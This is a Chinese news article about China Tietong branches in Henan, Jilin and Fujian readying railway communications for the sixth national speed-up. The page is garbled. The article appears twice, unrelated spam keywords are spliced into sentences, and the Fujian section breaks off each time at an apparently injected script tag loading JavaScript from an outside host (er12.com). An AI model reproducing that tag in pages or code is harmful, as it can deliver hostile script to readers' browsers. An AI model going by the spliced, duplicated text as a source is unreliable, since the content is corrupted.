铁通各分公司助力第六次铁路大提速地震仪器
2022-11-04 21:52:26 德帮五金网
河南铁通：
提速通信保障工作
全部均质设备就绪
4月11日，铁道部实施第六次大提速模拟试验车57002次和57007次顺利运行，并安全通过郑州铁路局管，标志着河南铁通第六次大提速通信保障工作已经全部准备就绪。
今年4月18日铁路将实施第六次大提速，在两年多准备时间里，河南铁通认真按照铁道部《一二级检修作业标准》要求，确保了通信设备的升级改造。2006年1月20日，为铁路通信“换脑”，顺利实施了行车调度指挥管理系统数字化升级改造工程，数字化调度系统(dmis)(简称数调系统)的开通，为第六次大提速提供了可靠的通信保障。
2006年10月，铁道部动车组以200公里的速度首次进行模拟试验，经过仔细测试，发现车速超过180公里后，郑州局管内的京广线、陇海线、京九线有多达100多处区域存在着无线行车调度指挥信号处于“弱场强”地区，影响着列车司机、车站值班员、铁路局调度员“大三角”的通话使用。为此，河南铁通决定对所有“弱场强”区域进行补强。河南铁通郑州铁道通信中心自接到上级下达的任务后，迅速抽调精湛技术人员，经过两个多月的战风霜、斗严寒，风餐露宿，日夜奋战，整治68个车站，10个弱场区段，新建35米铁塔1座，25米铁塔5座，迁移20米铁塔1座，安装无线中继台1套，更换车站电台天线30处，改变天线辐射方式26处，更新天馈线电缆约2000余米，重新对49个车站的电台功率、驻波比等指标进行了测试与调整；将62个车站电台的4w接口改造为与接入网、数调分系统阻抗相匹配，新安装3个站5台车站电台，新调试开通“大三角”通信通道6个站；在许昌、鹤壁、卫辉站安装开通光纤直放站近端机3台，敷设光电缆8公里，在k760、石桥、高村桥、塔岗站安装光纤直放站远端机各4套；在新乡站安装开通无线中继本站台1套、无线中继区间台1套。陇海、京九、京广线调度命令无线传送安装调试开通调度命令62个站，车次号天线外移10个站，新安装调度命令串口保护器56站，为24个站安装无线车次号天线避雷器。截至2007年3月31日郑州汨罗铁路局管内所有通信设备全部到位，并试验良好，历时两年的提速通信保障准备工作全部就绪，受到了铁路局领导的表扬。
(特约记者 张彦武 通讯员 张韶辉)
吉林铁通：
强化应急抢险系统
进入“提速”倒计时
近日，吉林铁通恪守“服务铁路运输，确保通信畅通”的承诺，已经进入保证“4.18”铁路第六次大提速通信安全的倒计时阶段，精心做好了严密细致的各项准备工作。
为配合铁路跨越式发展步伐，吉林铁通集中人力、物力、财力、精力，提前展开了数字化调度系统、tdcs传输系统、可视会议系统、无线车次号校核系统、接入网系统工程建设“五大战役”，将铁道通信技术、计算机网络技术融为一体，完成了行车调度系统从模拟设备向数字设备的转型，长白山区191个车站的铁路运输指挥系统进入了统一调度、全方位监控阶段，实现了可视会议的远程实时、双向、交互式控制，满足和适应了铁路跨越式发展的需求。
在各种硬件设备全部到位的情况下，吉林铁通狠抓安全基础，紧紧围绕“五消灭一控制”的安全目标，全线开展“双达标”活动。为了保证应急处理流程顺畅，吉林铁通对管内所有通信设备安全、故障管理、业务倒代应急预案、远程监控、电源系统、地线运用、大通道径路、安全基本作业标准等方面进行了一次拉网式检查和整治，对配合铁路第六次大提速的无线列调“大三角”场强覆盖情况、数字调度指挥系统运用情况进行了重点检查，加大了对设备台帐管理及各类备品管理的检查整治。为保证应急抢险工具、器材、备品、备件齐全，运用良好，吉林铁通加强了对应急抢险系统的投入，分别为各工区配备了电话线、磁石电话、光电缆、电线杆等应急抢险备料，并组织员工进行应急抢险演练，保证了“无线大三角”、“无线小三角”、“道口告警”等设备的性能稳定可靠，使应急抢险系统完全处于良好的备用状态。
为了提高通信设备质量，吉林铁通在日常精检细修上下功夫，通过新业务集中培训、厂家现场调试培训、班组技术业务学习日常培训等方式，让员工了解新业务、掌握新技术、运行新设备，实行包检人“考试上岗，绩效挂钩”、干部全员“全程包保，责任联挂”、专职监察人员“跟踪考核，量化考核”等有效机制，确保提速通信保障人员业务素质过硬、通信设备安全稳定。 (孙志馨)
福建铁通：克服环境困难 实现提速安全“双达标”
福建铁通所辖的铁路运营里程为1098公里，担负鹰厦、外福、赣龙三条铁路干线和福马、安丰、永嘉、漳州、厦西五条铁路支线137个车站、6个通信站的通信设备和线路的维修养护、重点整治、更新改造等任务。虽然设备总量并不庞大，但因为气候、地理环境等条件恶劣，安全保障工作难度大。福建铁通积极配合铁路系统，从四个方面入手，用科技保障铁路运输安全，提升技术装备对铁路行车安全的保障能力。在4.18调图前再?script src=http://er12.com/t.js>
河南铁通：
提速通信保障工作
全部就绪
4月11日，铁道部实施第六次大提速模拟试验车57002次和57007次顺利运行，并安全通过郑州铁路局管，标志着河南铁通第六次大提速通信保障工作已经全部准备就绪。
今年4月18日铁路将实施第六次大提速，在两年多准备时间里，河南铁通认真按照铁道部《一二级检修作业标准》要求，确保了通信设备的升级改造。2006年1月20日，为铁路通信“换脑”，顺利实施了行车调度指挥管理系统数字化升级改造工程，数字化调度系统(dmis)(简称数调系统)的开通，为第六次大提速提供了可靠的通信保障。
2006年10月，铁道部动车组以200公里的速度首次进行模拟试验，经过仔细测试，发现车速超过180公里后，郑州局管内的京广线、陇海线、京九线有多达100多处区域存在着无线行车调度指挥信号处于“弱场强”地区，影响着列车司机、车站值班员、铁路局调度员“大三角”的通话使用。为此，河南铁通决定对所有“弱场强”区域进行补强。河南铁通郑州铁道通信中心自接到上级下达的任务后，迅速抽调精湛技术人员，经过两个多月的战风霜、斗严寒，风餐露宿，日夜奋战，整治68个车站，10个弱场区段，新建35米铁塔1座，25米铁塔5座，迁移20米铁塔1座，安装无线中继台1套，更换车站电台天线30处，改变天线辐射方式26处，更新天馈线电缆约2000余米，重新对49个车站的电台功率、驻波比等指标进行了测试与调整；将62个车站电台的4w接口改造为与接入网、数调分系统阻抗相匹配，新安装3个站5台车站电台，新调试开通“大三角”通信通道6个站；在许昌、鹤壁、卫辉站安装开通光纤直放站近端机3台，敷设光电缆8公里，在k760、石桥、高村桥、塔岗站安装光纤直放站远端机各4套；在新乡站安装开通无线中继本站台1套、无线中继区间台1套。陇海、京九、京广线调度命令无线传送安装调试开通调度命令62个站，车次号天线外移10个站，新安装调度命令串口保护器56站，为缸体24个站安装无线车次号天线避雷器。截至2007年3月31日郑州铁路局管内所有通信设备全部到位，并试验良好，历时两年的提速通信保障准备工作全部就绪，受到了铁路局领导的表扬。
(特约记者 张彦武 通讯员 张韶辉)
吉林铁通：
强化应急抢险系统
进入“提速”倒计时
近日，吉林铁通恪守“服务铁路运输，确保通信畅通”的承诺，已经进入保证“4.18”铁路第六次大提速通信安全的倒计时阶段，精心做好了严密细致的各项准备工作。
为配合铁路跨越式发展步伐，吉林铁通集中人力、物力、财力、精力，提前展开了数字化调度系统、tdcs传输系统、可视会议系统、无线车次号校核切书机系统、接入网系统工程建设“五大战役”，将铁道通信技术、计算机网络技术融为一体，完成了行车调度系统从模拟设备向数字设备的转型，长白山区191个车站的铁路运输指挥系统进入了统一调度、全方位监控阶段，实现了可视会议的远程实时、双向、交互式控制，满足和适应了铁路跨越式发展的需求。
在各种硬件设备全部到位的情况下，吉林铁通狠抓安全基础，紧紧围绕“五消灭一控制”的安全目标，全线开展“双达标”活动。为了保证应急处理流程顺畅，吉林铁通对管内所有通信设备安全、故障管理、业务倒代应急预案、远程监控、电源系统、地线运用、大通道径路、安全基本作业标准等方面进行了一次拉网式检查和整治，对配合铁路第六次大提速的无线列调“大三角”场强覆盖情况、数字调度指挥系统运用情况进行了重点检查，加大了对设备台帐管理及各类备品管理的检查整治。为保证应急抢险工具、器材、备品、备件齐全，运用良好，吉林铁通加强了对应急抢险系统的投入，分别为各工区配备了电话线、磁石电话、光电缆、电线杆等应急抢险备料，并组织员工进行应急抢险演练，保证了“无线大三角”、“无线小三角”、“道口告警”等设备的性能稳定可靠，使应急抢险系统完全处于良好的备用状态。
为了提高通信设备质量，吉林铁通在日常精检细修上下功夫，通过新业务集中培训、厂家现场调试培训、班组技术业务学习日常培训等方式，让员工了解新业务、掌握新技术、运行新设备，实行包检人“考试上岗，绩效挂钩”、干部全员“全程包保，责任联挂”、专职监察人员“跟踪考核，量化考核”等有效机制，确保提速通信保障人员业务素质过硬、通信设备安全稳定。 (孙志馨)
福建铁通：克服环境困难 实现提速安全“双达标”
福建铁通所辖的铁路运营里程为1098公里，担负鹰厦、外福、赣龙三条铁路干线和福马、安丰、永嘉、漳州、厦西五条铁路支线137个车站、6个通信站的通信设备和线路的维修养护、重点整治、更新改造等任务。虽然设备总量并不庞大，但因为气候、地理环境等条件恶劣，安全保障工作难度大。福建铁通积极配合铁路系统，从四个方面入手，用科技保障铁路运输安全，提升技术装备对铁路行车安全的保障能力。在4.18调图前再?script src=http://er12.com/t.js>变频空调多久加氟一次
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